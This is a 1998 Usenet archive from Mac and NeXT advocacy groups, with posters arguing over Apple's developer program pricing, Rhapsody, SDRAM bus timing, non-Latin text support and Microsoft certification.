merx@pc.chemie.tu-darmstadt.de
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Ultimate NeXT" Web site?
Date: 12 Apr 1998 14:58:53 GMT
Organization: P & L Systems
Message-ID: <6gqkrd$oop$24@ironhorse.plsys.co.uk>
References: <352FD2BC.7D9CB76C@tiac.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: bvito@tiac.net
In <352FD2BC.7D9CB76C@tiac.net> Brian Vito wrote:
> I used to like a web site called "The Ultimate NeXT Site" or something
> like that. I can't seem to find it anywhere now. Does it still exist?
>
The best site for NeXT-related info is probably Stepwise:
http://www.stepwise.com/
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 Apr 1998 15:07:16 GMT
Organization: P & L Systems
Message-ID: <6gqlb4$oop$26@ironhorse.plsys.co.uk>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
<6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr>
<joe.ragosta-0904980645050001@elk33.dol.net> <ericb-0904981707160001@132.236.171.104>
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NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <ericb-0904981707160001@132.236.171.104> Eric Bennett wrote:
> In article <joe.ragosta-0904980645050001@elk33.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> I can't download Rhapsody. Not getting Rhapsody is what really burns me.
> I am enthusiastic about it and I want to start learning to program on it.
> MacOS 8.2 is not such a big deal, since it's not really all that different
> from a basic programming perspective that the copy of MacOS 8.1 I'm
> running now. Not so with Rhapsody.
>
So what's been stopping you getting hold of the academic version of OPENSTEP
4.2 ($299)? Note also that Apple has just announced WebObjects Academic for
**$99* -- that gives you pretty much all the YellowBox API...
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 Apr 1998 15:12:27 GMT
Organization: P & L Systems
Message-ID: <6gqlkr$oop$27@ironhorse.plsys.co.uk>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
<6ggrql$oop$1@ironhorse.plsys.co.uk> <ericb-0904981705120001@132.236.171.104>
Mime-Version: 1.0
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Cc: ericb@pobox.com
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <ericb-0904981705120001@132.236.171.104> Eric Bennett wrote:
> In article <6ggrql$oop$1@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > Apple has said that the acedemic program is to be announced later -- I'd
> > expect it to be cheaper.
>
> Where have they explicitly stated this? Do you have a URL? All I have
> seen are rumors from "highly placed sources." And those rumors have been
> around for quite awhile without having come true.
>
Most recently:
Subject: Re: Apple Developer Connection Mailing
Date: Wed, 8 Apr 1998 09:37:36 -0700
From: Jordan Dea-Mattson <jordan@apple.com>
To: "Rhapsody Discussion List" <rhapsody@clio.lyris.net>
[...]
In addition, we are working to roll out programs for the academic world -
and have said so for some time. They weren't ready and this time and I
can't comment on them, except to say that we are aware of the need to
reach the academic world.
Yours,
Jordan
Jordan J. Dea-Mattson
Senior Partnership & Technology Solutions Manager
Apple Developer Relations
---
Moreover, I again refer you to the "WebObjects/academic for $99"
announcement.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 12 Apr 1998 15:17:07 GMT
Organization: P & L Systems
Message-ID: <6gqltj$oop$28@ironhorse.plsys.co.uk>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154>
<6ggvub$oop$5@ironhorse.plsys.co.uk> <6gitbu$cg1$1@interport.net>
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Cc: float@interport.net
In <6gitbu$cg1$1@interport.net> float@interport.net wrote:
> mmalcolm crawford (malcolm@plsys.co.uk) wrote:
> : In <B1511019-15903@206.165.43.154> "Chicken Little" wrote:
>
> : > Trying to make developer *support* a profit center is an INSANE idea.
> : >
> : Apple acting as a charity subsidising people's hobbies is what's insane.
> : Nor should they be offering a program wide open to abuse by people
signing up
> : as developers just to get a discount on hardware.
>
> The dynamics of platform adoption don't work the way you think.
>
What on earth did my post have to do with platform adoption?!
> It doesn't matter why someone signs on to the program: every sign-on is a
win
> for Apple, every hardware sale, discounted or not, is a win for Apple,
> every developer, end-user, or hobbyist who gets on the Rhapsody bandwagon
> is a win for Apple.
>
How many people sign onto the developer programs *in total*? 10,000? An
extra couple here or there are likely to be lost in the noise.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 Apr 1998 15:05:14 GMT
Organization: P & L Systems
Message-ID: <6gql7a$oop$25@ironhorse.plsys.co.uk>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <6ggiu7$auu$1@vixen.cso.uiuc.edu>
<352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net>
<6giria$nng$1@ifaedi.insa-lyon.fr>
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NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <6giria$nng$1@ifaedi.insa-lyon.fr> Bluedays wrote:
>
> Of course, Mrs I know everything, do you really know how are the campus
> in europe ? Do you really think that every campus has a internet connexion
?
>
I'd be very surprised if every campus dod not now have an internet connection
of some description.
> with free access to zip drive and CD burner ?
>
Sadly you're right on this one.
> If you read the posts today about the problem, you'll see that a lot
> of complains come from europe, we don't need the free pass
> for the WWDC because of the flight price.
>
So don't buy into the Premier program.
> Even with a T1 the
> bandwitdh with the US is bad...1K/s and less sometimes (often)
> And if you think that now this will be the only way to get
> information for many people if you don't have the CD...
> Macintosh prices are higher in some places in europe than
> in US, so the discount lost is not a real good news.
>
Umm, in which case what's wrong with the Developer Mailing? Which is $50
*cheaper* than the old program?
Unless, of course, you're academic, in which case I'd expect the program
Apple offers you soon to be even cheaper.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 12 Apr 1998 15:27:17 GMT
Organization: P & L Systems
Message-ID: <6gqmgl$oop$30@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com>
<6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
<1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com>
<19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com>
<6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com>
<6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de>
<6gq920$oop$21@ironhorse.plsys.co.uk> <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de>
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Cc: schuerig@acm.org
In <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de> Michael Schuerig
wrote:
> > There is an acute shortage of WebObjects developers at the moment.
> > Anyone who can develop WebObjects apps is a significant way towards being
a
> > Rhapsody developer. If you're a qualified WebObjects developer we may
have
> > an opening for you soon.
>
> I'm not (yet?). And I'm not sure of how much help it would be -- over
> here in Germany. I do know exactly one company here that develops WO
> solutions (Hi Holger!). It would be interesting, though, to have a job
> market for Rhapsody & related technologies.
>
I think maybe you should look harder...
> That brings me to my original point: I would appreciate it very much if
> the uphill programming of small developers would be higher valued. In
> particular the work of those over here in (continental) Europe. The
> Apple market share is far worse in Germany -- and compared to german
> Apple marketing Apple-USA is highly competent.
>
Umm, we're a *small* developer, in *Europe*, and as far as I'm concerned at
least (I'm not speaking on behalf of the company), the new program represents
good value for money.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 Apr 1998 15:29:22 GMT
Organization: P & L Systems
Message-ID: <6gqmki$oop$31@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com>
<352BA869.4901@home.sleeping>
Mime-Version: 1.0
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Cc: me@home.sleeping
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <352BA869.4901@home.sleeping> Jeff wrote:
> - Yeah, sucks, doesn't it? All I really want is the CDs, and they keep
> - upping the price and adding things I don't need.
> -
>
So what's wrong with the Developer Mailing?
http://developer.apple.com/programs/mailing.html
At $200 it seems to give you exactly what you want, and is $50 *cheaper* than
the previous program...
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 Apr 1998 15:23:28 GMT
Organization: P & L Systems
Message-ID: <6gqm9g$oop$29@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu>
<joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul>
<6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu>
<6gio5m$oop$11@ironhorse.plsys.co.uk> <trumbull-0904981544360001@net44-223.student.yale.edu>
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NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <trumbull-0904981544360001@net44-223.student.yale.edu> Ben Trumbull wrote:
> In article <6gio5m$oop$11@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > No, I don't. I'm quite sure there are a number of hobbyists developing
> > worthwhile s/w which I might find useful at some point, however on
balance
> > reports suggest that the previous system was badly abused and on average
> > Apple will have lost revenue through people signing up as developers
simply
> > to get hardware at reduced prices.
>
> Sorry, but asserting that Apple doesn't make money off the books they sell
> to Barnes&Noble and the rest of the Addison&Wesley series to "hobbyist"
> developers is absurd.
>
Where did I make that claim?! Please refrain from putting words into my
mouth -- it is most distasteful.
> As for the "badly abused" hardware discount program, that's a load of
> baloney. I saw the prices and was never once tempted.
>
So why have so many people been screaming about the fact that the hardware
discount scheme is no longer as accessible?
> Apple made money
> off every one of those machines and they sure made a lot more money than
> if some retailer sold the developer that machine instead of Apple. Which
> is exactly what will happen now. Devs will pay retailers for machines,
> devs will buy fewer machines overall, and Apple will see smaller margins
> overall. Yeah, this is a great solution to Apple's "problem" of selling
> more machines and not paying retailers for the priviledge. Let's get this
> straight. Apple makes A LOT MORE MONEY when they sell direct. A lot.
>
Figures? Until I see figures proving it one way ot the other, each of us is
untitled to our own *opinion*.
> The ideas that Apple should "raise the bar" to select against small
> developers and this will somehow make the Mac dev community healthier, or
> that Apple EVER was "subsidizing" small or independent developers are
> absurd. If Apple lost money on selling tons of development
> documentations, cds, software, and hardware (true for less, but no
> retailer biting into the margins), then frankly the sole reason is because
> they couldn't manage their business.
>
So now they're managing their business better, they're doing what you people
have been demanding of them for years, and now you're whingeing about it.
> Trying to blame people for "abusing"
> the dev program is just a bullshit excuse. However, to be fair to Apple,
> I haven't actually seen anyone from Apple make that argument, just people
> desperate to defend the policy changes.
>
It's *one* *reason* why *I* think they may have changed the Program. There
are plenty of others.
mmalc.
Subject: Re: Microsoft Faking Testimonials...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>
In-Reply-To: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>
From: not@my.address.net
Message-ID: <hy5Y.828$ME2.4337233@news.itd.umich.edu>
Date: Sun, 12 Apr 1998 16:00:13 GMT
NNTP-Posting-Date: Sun, 12 Apr 1998 12:00:13 EST
On 04/10/98, "Eric A. Dubiel" wrote:
>Check it out...don't believe the M$ hype...
>http://www.abcnews.com/sections/business/DailyNews/microsoft_media980410/i
ndex.html
>
>"With antitrust challenges and the launch of Windows
>98 looming, Microsoft is reportedly looking to polish its
>war-torn image with a series of faux feel-good
>testimonials."
>
>I think the feds should just let the case drop, and let the free-market
>be the regulator.
Tell me something -- If in a certain market the per unit cost of producing
the first n units always exceeds the per unit cost of producing the first n
+ 1 units, no matter how large the value of n, what's the equilibrium point
in that marketplace absent intervention? (Hint, How many water companies
would you expect to find in any given city if the municipal water supply
was left to an unregulated marketplace of competing private firms?) And
what's the benefit of an unregulated marketplace if the predictable
consequence is the emergence of a natural monopoly?
--
invert: umich.edu jdevlin
insert: shift "2"
Message-ID: <352FD2BF.50693172@adr.dk>
Date: Sat, 11 Apr 1998 22:30:02 +0200
From: Jens Bauer <faster@adr.dk>
Organization: Faster Software
MIME-Version: 1.0
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
References: <6go69q$8l1$3@hecate.umd.edu>
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David T. Wang wrote:
>
> Webmaster (scarsadm@scars.com) wrote:
>
> : Also of note: According to MacOSRumors (awhile ago) Apple's next generation
> : motherboard HAS achieved "near 100Mhz" speeds. But the source also stated
> : that current plans - barring changes in the memory market - was to keep
> : 89Mhz as probably the upper end because treading much higher would require
> : memory near 5ns access for the motherboard and the was considered "too
> : costly" for the home computer market.
>
> 89 MHz is 11ns, and 100 MHz is 10ns. "Treading much higher would require
> memory near 5ns access for the motherboard" doesn't really make sense to
> me. Much higher? 166 MHz motherboard?
I must say, that I also looked very confused at "100MHz was 6.6nS".
1 1
---------- = ------------- = 0.000,000,010 = 10nS.
100MHz 100,000,000
So where do we suddenly loose 3.4 nS ? I couldn't get this to match.
-WoF-
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sun, 12 Apr 1998 10:13:39 -0700
Organization: Trilithon Research and Trading
Message-ID: <3530F643.DEADA2A5@trilithon.com>
References: <6gmmaa$ahc2@odie.mcleod.net> <B1550FCE-5B1ED@206.165.43.155>
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Lawson English wrote:
* Michelle L. Buck <buck.erik@mcleod.net> said:
* * who cares ? Why should Apple implement and
* * support editing of Hangul Tri-Glyphs (Whatever they are)
* * wrapped along a curve with quadratic splines? Perhaps there
* * is a market for this, but I suspect that market could
* * pay extra for these features.
* Or get them from elsewhere. Fact is, GX already supports this.
* * How many of Apple's customers could/would use
* * this ? I would guess less than 1 percent.
* Hangul users live in Japan, China, Korea, and probably
* other Asian countries.
Most of the Hangul users in the world are in Korea --- I doubt
there are that many in Japan, and even fewer in China, and as for
"other Asian countries", I doubt there are many in Vietnam,
Cambodia, Thailand, Malaysia, Indonesia, Myanmar, or the Phillippines.
And probably close to zero Hangul users in India.
* In other words, about 1/4-1/3 of all the people in the
* world would be potential beneficiaries of this.
Notice the giant leap from the script used by just
two relatively small parts of Asia to two billion.
If this is rigourous reasoning, I'll take hallucination.
* The largest potential market and the fastest-growing
* market for DTP software is in Asia and they are desparate
* for good DTP products. Sanskrit, and other Indian languages
* have similar needs. That's another billion people. So, 1/3-1/2
* of all the people of the world have languages where tri-glyph
* issues arise.
Having a potential market and having a concrete market isn't the
same thing. Michael Murphy of the California Technology Stock
letter estimates that there are 2.5 billion *potential* personal
computer buyers who have both the literary skills and the
financial wherewithal to purchase computers.
Providing tri-glyph support (which already exists in the OpenStep
Text object suite if you would get off your high horse long enough
to take a look) for text doesn't necessarily mean that the
half of the world population who currently lack clean water will
immediately rush out to buy a computer and associated software.
<<<<< Rest of Kool-Aid Trip Deleted >>>>>
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 12 Apr 1998 13:34:22 -0400
Organization: Virginia Tech, Blacksburg, Virginia
Message-ID: <6gqtuu$m07$1@crib.bevc.blacksburg.va.us>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com> <352BA869.4901@home.sleeping> <6gqmki$oop$31@ironhorse.plsys.co.uk>
In article <6gqmki$oop$31@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <352BA869.4901@home.sleeping> Jeff wrote:
> > - Yeah, sucks, doesn't it? All I really want is the CDs, and they keep
> > - upping the price and adding things I don't need.
> So what's wrong with the Developer Mailing?
> http://developer.apple.com/programs/mailing.html
It's not quite clear to me from the web page.. does the Developer
Mailing also include releases of MacOS and Rhapsody themselves? (Not
the developer seed betas, but the official releases whenever they come
out?) Do those count as "system software"?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: cancel
Control: cancel <6gqtuu$m07$1@crib.bevc.blacksburg.va.us>
Date: 12 Apr 1998 13:45:30 -0400
Organization: Virginia Tech, Blacksburg, Virginia
Message-ID: <6gqujq$m15$1@crib.bevc.blacksburg.va.us>
<6gqtuu$m07$1@crib.bevc.blacksburg.va.us> was cancelled from within trn.
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sun, 12 Apr 1998 21:31:16 +0200
Organization: Guest of OLEANE
Message-ID: <1d7e4y4.tc8jk63rsdbcN@dialup-157.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net> <6giria$nng$1@ifaedi.insa-lyon.fr> <6gql7a$oop$25@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> Umm, in which case what's wrong with the Developer Mailing? Which is $50
> *cheaper* than the old program?
No seeds.
Benoît Leraillez
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sun, 12 Apr 1998 21:31:20 +0200
Organization: Guest of OLEANE
Message-ID: <1d7e518.1pgu5461j6wps0N@dialup-157.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com> <352BA869.4901@home.sleeping> <6gqmki$oop$31@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> So what's wrong with the Developer Mailing?
>
> http://developer.apple.com/programs/mailing.html
>
> At $200 it seems to give you exactly what you want, and is $50 *cheaper* than
> the previous program...
No seeds.
Benoît Leraillez
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 12 Apr 1998 13:18:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15670BD-27C36@206.165.43.142>
References: <3530F643.DEADA2A5@trilithon.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Henry McGilton <henry@trilithon.com> said:
> Providing tri-glyph support (which already exists in the OpenStep
> Text object suite if you would get off your high horse long enough
> to take a look) for text doesn't necessarily mean that the
> half of the world population who currently lack clean water will
> immediately rush out to buy a computer and associated software.
Sure, but
1) we were talking about supporting realt-time text-on-a-path editing for
desktop publishing (Sanskrit and other languages also have the same issues)
and
2) The *government* of the countries that use languages that have these
kinds of issues (it's more than just Hangul and Sanskrit) are going to
endorse standards that support them, even if the average peasant can't
afford it. Whatever the government endorses will eventually trickle down
into the economy.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <maury-1204981641220001@ts14-10.tor.istar.ca>
References: <199801202218001457904@ppp8.hol.fr> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <6gajkm$9oq$1@ns3.vrx.net> <6ggmbv$1kt$5@quasar.dimensional.com> <6gg7a3$nnc$1@ns3.vrx.net> <6gm801$hom$1@quasar.dimensional.com>
Organization: Atria Software
Date: Sun, 12 Apr 1998 20:43:19 GMT
NNTP-Posting-Date: Sun, 12 Apr 1998 16:43:19 EST
In article <6gm801$hom$1@quasar.dimensional.com>, Kenneth R. Kinder
<Ken@_$spamless$_KenAndTed.com> wrote:
> >> I'll put money on that. $20 says that PPP will NOT be the primary dialup
> >> method in 2001.
>
> > Done. I'll even accept CDN if you lose, and pay US if you win.
>
> What's CDN?
Canadian Dollars. I believe it's about 1.44CDN to the US right now, and
unlikely to change by any large degree by 2001 (it's been in that range
for over 20 years now).
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 12 Apr 1998 13:43:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1567698-3DC5F@206.165.43.142>
References: <6goedv$giu$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
[Apple's doomed if they dump Rhaposdy]
> if for no other reason than Apple's been touting it as
> their next-generation OS. If Apple doesn't have a "next generation OS",
> nobody's going to believe they're going to stick around, and no one's
> going to believe that MacOS _is_ their "next generation OS".
>
Er, Copland?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: tas@mindspring.noUCE.com (Timothy A. Seufert)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Sun, 12 Apr 1998 13:50:18 -0700
Organization: Evil Geniuses For A Better Tomorrow, Inc.
Message-ID: <tas-1204981350180001@user-38lcjus.dialup.mindspring.com>
References: <6go69q$8l1$3@hecate.umd.edu> <Er9H0G.Hy0@ecf.toronto.edu>
In article <Er9H0G.Hy0@ecf.toronto.edu>, pischke@ecf.toronto.edu (David
Pischke) wrote:
>In article <6go69q$8l1$3@hecate.umd.edu>,
>David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> wrote:
>>89 MHz is 11ns, and 100 MHz is 10ns. "Treading much higher would require
>>memory near 5ns access for the motherboard" doesn't really make sense to
>>me. Much higher? 166 MHz motherboard?
>
>The people who write for Mac OS Rumors are idiots. I remember the article
>David T. Wang refers to. In it they claimed that Apple wouldn't be moving
>to 100MHz buses soon because SDRAM runnning at "speeds that fast" was not
>going to be available at affordable prices any time soon.
>
>Clearly they have no clue what they're talking about.
That's painfully obvious -- I'll not dispute the idea that Rumors is
technically clueless.
However, it is also true that 10ns SDRAM probably won't work in a
motherboard running at 100 MHz. The reason is that timing margins are
real tight at such high bus speeds. You could probably get 10ns SDRAM to
run 100 MHz if it was soldered to the motherboard, with short traces
between it and the CPU and memory controller. With removable modules in
the mix, that's not possible, and you really need to use SDRAM that's
faster than the intended bus speed so that there's margin for clock skew
and propagation delay.
Most SDRAM sold today is rated at 10 ns cycle time, but is generally used
with bus speeds no higher than 83 MHz (~12ns).
--
-- Tim
To mail me unsolicited advertisements: Move to Siberia. Wait until I
say it's OK to send. Everybody else, remove "noUCE." from my address.
From: Barry Lustig <barry@gate.lustig.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 12 Apr 1998 16:56:12 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <eg1ji92tv.fsf@gate.lustig.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>
Professional system administrators have learned over the course of
years, how to properly maintain complex networks of computers. A three
week course from Microsoft will never replace the skills that come
from that experience. Unfortunately, Microsoft is telling the
corporate and academic world that their certificate is a replacement
for that experience. Even more unfortunate, Corporate America often
believes it.
In the environment described in the Merc, the users had ever right
to expect that their files were safe on the server. If you read the
article carefully you will see that there were large datasets that
were lost. These are likely datasets that would not have easily been
backed up by the user. Not every desktop system comes with a DAT or
8mm tape drive. I have spent years managing computing environments
with tens of terabytes of data. My users are given the guarantee that
their data is safe. If I screw up I take responsibility. I don't blame
the users and say that they should have slipped it onto a floppy or a
zip drive.
What went wrong in this situation? People who didn't think.
First, why would a system that was shutdown cleanly not recognize
its drives on reboot? "The dean said the technicians turned off the
two servers, in one case to add capacity. But when the computers were
brought back up, they could not read its original files." It sounds
to me as if they had a problem with the hardware upgrade or a strange
problem with the operating system. So what does the well trained
Microsoft certificate holder do; he/she restores from backup tapes.
This of course guarantees that if there are any problems with the
restores, all of the data that is, no doubt, still on the disks is
destroyed. Any skilled administrator would have removed the existing
drives and replaced them with a new set and then restored the data
from tape onto the new drives. On a unix system, the drives could
have been attached to another running system. Then, an image of the
disk, made from the raw device could have been saved. This way, the
data would not have been lost.
Three weeks of class does not give a person the ability to think and
solve problems. Microsoft's certificate program does not create
system administrators. It creates a false sense of security for a low
price... low that is until disaster strikes.
barry
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Sun, 12 Apr 1998 13:50:52 -0700
Organization: South Valley Internet
Message-ID: <stevehix-1204981350530001@ip25.safemail.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6gpmsk$esn$1@usenet48.supernews.com> <yl3zphrweb9.fsf@shell8.ba.best.com>
In article <yl3zphrweb9.fsf@shell8.ba.best.com>, Robert Nicholson
<steffi@shell8.ba.best.com> wrote:
> Seriously though. Where's the mass media reporting this story? No where.
San Jose Mercury News appears to be part of the mass media...
At least three major local radio stations carried the story during
the past couple of days (two ACB affiliates, one CBS), and the San
Francisco area is considered a major radio market.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <120498060909@flowers.com>
Control: cancel <120498060909@flowers.com>
Date: 11 Apr 1998 22:13:42 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.120498060909@flowers.com>
Sender: flowers@flowers.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 12 Apr 1998 14:52:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1568695-79E30@206.165.43.142>
References: <3530F643.DEADA2A5@trilithon.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
